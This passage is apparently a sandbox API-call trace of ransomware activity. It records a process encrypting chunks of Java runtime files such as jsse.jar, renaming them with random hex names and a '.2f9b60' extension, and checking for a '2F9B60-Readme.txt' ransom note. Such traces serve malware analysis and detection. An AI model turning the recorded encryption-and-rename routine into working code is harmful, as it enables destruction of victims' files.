(HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebc580 [0144.368] SetFilePointerEx (in: hFile=0x1fa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.368] WriteFile (in: hFile=0x1fa4, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x36e2f730, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x36e2f730*=0x144, lpOverlapped=0x0) returned 1 [0144.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0144.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a2b0 [0144.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0144.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0144.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0144.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0144.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff400 [0144.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0144.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0144.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x204ff400 [0144.371] sprintf (in: _Dest=0x204ff400, _Format="%c%c" | out: _Dest="90") returned 2 [0144.371] sprintf (in: _Dest=0x204ff402, _Format="%c%c" | out: _Dest="9b") returned 2 [0144.371] sprintf (in: _Dest=0x204ff404, _Format="%c%c" | out: _Dest="73") returned 2 [0144.371] sprintf (in: _Dest=0x204ff406, _Format="%c%c" | out: _Dest="cb") returned 2 [0144.371] sprintf (in: _Dest=0x204ff408, _Format="%c%c" | out: _Dest="39") returned 2 [0144.371] sprintf (in: _Dest=0x204ff40a, _Format="%c%c" | out: _Dest="40") returned 2 [0144.371] sprintf (in: _Dest=0x204ff40c, _Format="%c%c" | out: _Dest="47") returned 2 [0144.371] sprintf (in: _Dest=0x204ff40e, _Format="%c%c" | out: _Dest="a4") returned 2 [0144.371] sprintf (in: _Dest=0x204ff410, _Format="%c%c" | out: _Dest="eb") returned 2 [0144.371] sprintf (in: _Dest=0x204ff412, _Format="%c%c" | out: _Dest="75") returned 2 [0144.371] sprintf (in: _Dest=0x204ff414, _Format="%c%c" | out: _Dest="35") returned 2 [0144.371] sprintf (in: _Dest=0x204ff416, _Format="%c%c" | out: _Dest="27") returned 2 [0144.371] sprintf (in: _Dest=0x204ff418, _Format="%c%c" | out: _Dest="76") returned 2 [0144.371] sprintf (in: _Dest=0x204ff41a, _Format="%c%c" | out: _Dest="08") returned 2 [0144.371] sprintf (in: _Dest=0x204ff41c, _Format="%c%c" | out: _Dest="bc") returned 2 [0144.371] sprintf (in: _Dest=0x204ff41e, _Format="%c%c" | out: _Dest="12") returned 2 [0144.371] sprintf (in: _Dest=0x204ff420, _Format="%c%c" | out: _Dest="93") returned 2 [0144.372] sprintf (in: _Dest=0x204ff422, _Format="%c%c" | out: _Dest="59") returned 2 [0144.372] RtlInitAnsiString (in: DestinationString=0x36e2f7a8, SourceString="909b73cb394047a4eb7535277608bc129359" | out: DestinationString="909b73cb394047a4eb7535277608bc129359") [0144.372] RtlAnsiStringToUnicodeString (in: DestinationString=0x36e2f778, SourceString="909b73cb394047a4eb7535277608bc129359", AllocateDestinationString=1 | out: DestinationString="909b73cb394047a4eb7535277608bc129359") returned 0x0 [0144.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86f10 [0144.372] RtlFreeAnsiString (AnsiString="9") [0144.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff400) returned 1 [0144.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0144.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff460) returned 1 [0144.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff430) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9710) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe140) returned 1 [0144.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1ce5a2b0 [0144.374] wcscat (in: _Dest=0x1ce5a2b0, _Source="909b73cb3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\909b73cb3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\909b73cb3" [0144.374] wcscat (in: _Dest=0x1ce5a2b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\909b73cb3.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\909b73cb3.2f9b60" [0144.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\909b73cb3.2f9b60", NtPathName=0x36e2f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\909b73cb3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507690 [0144.374] NtSetInformationFile (FileHandle=0x1fa4, IoStatusBlock=0x36e2f7f0, FileInformation=0x20507690, Length=0x8a, FileInformationClass=0xa) returned 0x0 [0144.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507690) returned 1 [0144.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053000) returned 1 [0144.379] NtQueryInformationFile (in: FileHandle=0x1fa4, IoStatusBlock=0x36e2f7b8, FileInformation=0x36e2f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36e2f7b8, FileInformation=0x36e2f7c8) returned 0x0 [0144.379] NtSetInformationFile (FileHandle=0x1fa4, IoStatusBlock=0x36e2f7b8, FileInformation=0x36e2f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a2b0) returned 1 [0144.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f10) returned 1 [0144.910] FlushFileBuffers (hFile=0x1fa4) returned 1 [0144.912] CloseHandle (hObject=0x1fa4) returned 1 [0162.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b330 [0162.376] wcscpy (in: _Dest=0x1ce5b330, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0162.376] wcscat (in: _Dest=0x1ce5b330, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0162.376] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0162.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b330) returned 1 [0162.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863e30) returned 1 Thread: id = 2086 os_tid = 0x13b4 [0138.427] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar")) returned 0x20 [0140.634] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar", dwFileAttributes=0x20) returned 1 [0140.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fd8 [0141.280] GetFileSizeEx (in: hFile=0x1fd8, lpFileSize=0x36c9f900 | out: lpFileSize=0x36c9f900*=526795) returned 1 [0141.280] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x809c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.280] ReadFile (in: hFile=0x1fd8, lpBuffer=0x36c9f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36c9f8c8, lpOverlapped=0x0 | out: lpBuffer=0x36c9f880*, lpNumberOfBytesRead=0x36c9f8c8*=0x4, lpOverlapped=0x0) returned 1 [0141.306] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0141.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.306] NtQuerySystemTime (in: CurrentTime=0x36c9f7c0 | out: CurrentTime=0x36c9f7c0*=132462177465538000) returned 0x0 [0141.306] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x59af9628 [0141.306] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x7284b53 [0141.306] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x495440a6 [0141.306] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x4ded4c01 [0141.306] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x2545e77 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x5eb53fd4 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x207773fe [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x4699f461 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x3944c30f [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x1d33fa51 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x172ed1c6 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x4c054fe2 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x446bb30f [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x249b104f [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x34bb7520 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x4d4f1a71 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x53ef4693 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x6df7b0a9 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x217af16a [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x69c80780 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x684650a4 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x34a2283a [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x4389d2bd [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x3799d7e3 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0xb7f6654 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x1a756472 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x3393c394 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x3ad556dc [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x27be1a32 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x2835cf27 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x5ad94f72 [0141.307] RtlRandomEx (in: Seed=0x36c9f7b0 | out: Seed=0x36c9f7b0) returned 0x4a787e26 [0141.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde70 [0141.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdea0 [0141.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0141.319] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.319] ReadFile (in: hFile=0x1fd8, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36c9f820, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x36c9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.402] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0141.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0141.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ca920 [0141.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd750 [0141.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde10) returned 1 [0141.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.404] WriteFile (in: hFile=0x1fd8, lpBuffer=0x421ca920*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36c9f820, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesWritten=0x36c9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ca920) returned 1 [0141.432] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.432] ReadFile (in: hFile=0x1fd8, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36c9f820, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x36c9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.595] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42281180 [0141.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.596] WriteFile (in: hFile=0x1fd8, lpBuffer=0x42281180*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36c9f820, lpOverlapped=0x0 | out: lpBuffer=0x42281180*, lpNumberOfBytesWritten=0x36c9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42281180) returned 1 [0141.672] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x7cdcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.672] ReadFile (in: hFile=0x1fd8, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36c9f820, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x36c9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.758] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x7cdcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0141.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0141.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0141.760] WriteFile (in: hFile=0x1fd8, lpBuffer=0x4227d570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36c9f820, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesWritten=0x36c9f820*=0x3c00, lpOverlapped=0x0) returned 1 [0141.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0141.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e2c0 [0141.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0141.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0141.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204fd750 [0141.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x204fde40 [0141.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x142) returned 0x1cebc580 [0141.811] SetFilePointerEx (in: hFile=0x1fd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.811] WriteFile (in: hFile=0x1fd8, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x36c9f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x36c9f8d0*=0x142, lpOverlapped=0x0) returned 1 [0141.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0141.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0141.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0141.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0141.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0141.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x204fded0 [0141.888] sprintf (in: _Dest=0x204fded0, _Format="%c%c" | out: _Dest="19") returned 2 [0141.888] sprintf (in: _Dest=0x204fded2, _Format="%c%c" | out: _Dest="29") returned 2 [0141.888] sprintf (in: _Dest=0x204fded4, _Format="%c%c" | out: _Dest="a6") returned 2 [0141.888] sprintf (in: _Dest=0x204fded6, _Format="%c%c" | out: _Dest="91") returned 2 [0141.888] sprintf (in: _Dest=0x204fded8, _Format="%c%c" | out: _Dest="60") returned 2 [0141.888] sprintf (in: _Dest=0x204fdeda, _Format="%c%c" | out: _Dest="7f") returned 2 [0141.888] sprintf (in: _Dest=0x204fdedc, _Format="%c%c" | out: _Dest="8a") returned 2 [0141.888] sprintf (in: _Dest=0x204fdede, _Format="%c%c" | out: _Dest="62") returned 2 [0141.888] sprintf (in: _Dest=0x204fdee0, _Format="%c%c" | out: _Dest="2e") returned 2 [0141.888] sprintf (in: _Dest=0x204fdee2, _Format="%c%c" | out: _Dest="d7") returned 2 [0141.888] sprintf (in: _Dest=0x204fdee4, _Format="%c%c" | out: _Dest="d5") returned 2 [0141.888] sprintf (in: _Dest=0x204fdee6, _Format="%c%c" | out: _Dest="55") returned 2 [0141.888] sprintf (in: _Dest=0x204fdee8, _Format="%c%c" | out: _Dest="cc") returned 2 [0141.888] sprintf (in: _Dest=0x204fdeea, _Format="%c%c" | out: _Dest="1c") returned 2 [0141.888] sprintf (in: _Dest=0x204fdeec, _Format="%c%c" | out: _Dest="ce") returned 2 [0141.888] sprintf (in: _Dest=0x204fdeee, _Format="%c%c" | out: _Dest="e6") returned 2 [0141.888] RtlInitAnsiString (in: DestinationString=0x36c9f948, SourceString="1929a691607f8a622ed7d555cc1ccee6" | out: DestinationString="1929a691607f8a622ed7d555cc1ccee6") [0141.888] RtlAnsiStringToUnicodeString (in: DestinationString=0x36c9f918, SourceString="1929a691607f8a622ed7d555cc1ccee6", AllocateDestinationString=1 | out: DestinationString="1929a691607f8a622ed7d555cc1ccee6") returned 0x0 [0141.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059880 [0141.889] RtlFreeAnsiString (AnsiString="1") [0141.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0141.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0141.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0141.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd750) returned 1 [0141.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0141.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0141.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde70) returned 1 [0141.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdea0) returned 1 [0141.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42061c30 [0141.890] wcscat (in: _Dest=0x42061c30, _Source="1929a691" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\1929a691") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\1929a691" [0141.890] wcscat (in: _Dest=0x42061c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\1929a691.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\1929a691.2f9b60" [0141.890] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\1929a691.2f9b60", NtPathName=0x36c9f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: 